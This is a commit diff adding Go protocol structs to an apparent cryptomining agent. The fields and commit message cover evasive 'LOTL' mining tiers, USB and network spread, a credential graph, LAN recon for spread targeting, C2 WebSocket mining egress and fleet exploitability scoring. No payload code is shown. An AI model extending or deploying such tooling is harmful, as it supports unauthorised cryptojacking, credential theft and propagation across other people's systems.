Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -1,6 +1,10 @@
|
||||
package client
|
||||
|
||||
import "encoding/json"
|
||||
import (
|
||||
"encoding/json"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
type Message struct {
|
||||
Type string `json:"type"`
|
||||
@@ -45,12 +49,18 @@ type AuthPayload struct {
|
||||
USBSpread bool `json:"usb_spread,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
UTM string `json:"utm,omitempty"`
|
||||
LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
}
|
||||
|
||||
type AuthResponse struct {
|
||||
Success bool `json:"success"`
|
||||
AgentID string `json:"agent_id"`
|
||||
Error string `json:"error"`
|
||||
Success bool `json:"success"`
|
||||
AgentID string `json:"agent_id"`
|
||||
Error string `json:"error"`
|
||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
|
||||
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
|
||||
}
|
||||
|
||||
type SharePayload struct {
|
||||
@@ -60,6 +70,13 @@ type SharePayload struct {
|
||||
Worker string `json:"worker_name"`
|
||||
}
|
||||
|
||||
// MethodFailurePayload mirrors miner.MethodFailure in stats JSON.
|
||||
type MethodFailurePayload struct {
|
||||
Method string `json:"method"`
|
||||
Reason string `json:"reason"`
|
||||
At string `json:"at"`
|
||||
}
|
||||
|
||||
type StatsPayload struct {
|
||||
Hashrate15s float64 `json:"hashrate_15s"`
|
||||
Hashrate1m float64 `json:"hashrate_1m"`
|
||||
@@ -110,6 +127,48 @@ type StatsPayload struct {
|
||||
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||||
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
||||
Services []ServiceStatus `json:"services,omitempty"`
|
||||
|
||||
// Mining fallback cascade (container → in-process → GPU → Stratum)
|
||||
ActiveMethod string `json:"active_method,omitempty"`
|
||||
FailedMethods []MethodFailurePayload `json:"failed_methods,omitempty"`
|
||||
MiningLastError string `json:"last_error,omitempty"`
|
||||
ChainOrder []string `json:"chain_order,omitempty"`
|
||||
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||
|
||||
// Fleet health telemetry — routed via agent WSS stats_batch (same port as heartbeat)
|
||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
|
||||
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
|
||||
// Passive LAN/domain recon for spread targeting and Path Tracer graph hints.
|
||||
NetworkHints *deploy.NetworkHints `json:"network_hints,omitempty"`
|
||||
|
||||
// Authorized fleet vulnerability recon (read-only LOTL probe tier)
|
||||
VulnFindings []VulnFindingPayload `json:"vuln_findings,omitempty"`
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
}
|
||||
|
||||
// VulnFindingPayload mirrors vulnprobe.VulnFinding in stats JSON.
|
||||
type VulnFindingPayload struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// TierAttemptPayload mirrors miner.TierAttempt in stats JSON.
|
||||
type TierAttemptPayload struct {
|
||||
Phase string `json:"phase,omitempty"`
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
}
|
||||
|
||||
type ShareResult struct {
|
||||
|
||||
Reference in New Issue
Block a user